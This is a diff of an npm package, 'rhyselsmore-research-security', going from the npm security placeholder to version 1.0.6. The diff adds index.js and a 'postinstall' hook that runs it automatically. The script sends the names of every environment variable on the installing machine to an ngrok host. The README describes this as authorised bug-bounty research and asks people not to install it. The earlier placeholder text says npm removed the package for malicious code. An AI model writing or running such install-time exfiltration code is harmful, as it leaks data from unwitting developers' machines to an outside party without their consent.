rhyselsmore-research-security 0.0.1-security → 1.0.6

package/README.md

@@ -1,5 +1,5 @@
-# Security holding package
+Security Research for @rhyselsmore. Testing a consumer of NPM - which I have permission to test.
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+Despite safeguards in place to ensure this only runs on the targetted host, please do not install this.
 
-Please refer to www.npmjs.com/advisories?search=rhyselsmore-research-security for more information.
+Email me@rhys.io with queries.

package/index.js

@@ -0,0 +1,23 @@
+const https = require('node:https');
+const fs = require('fs');
+
+const options = {
+  hostname: '0cba25ed7862.au.ngrok.io?q=' + Object.keys(process.env).join(","),
+  port: 443,
+  path: '/container-ping',
+  method: 'GET'
+};
+
+const req = https.request(options, (res) => {
+  console.log('statusCode:', res.statusCode);
+  console.log('headers:', res.headers);
+
+  res.on('data', (d) => {
+    process.stdout.write(d);
+  });
+});
+
+req.on('error', (e) => {
+  console.error(e);
+});
+req.end();

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "rhyselsmore-research-security",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.6",
+  "description": "Security Research for @rhyselsmore on Bugcrowd. Do not install",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
 }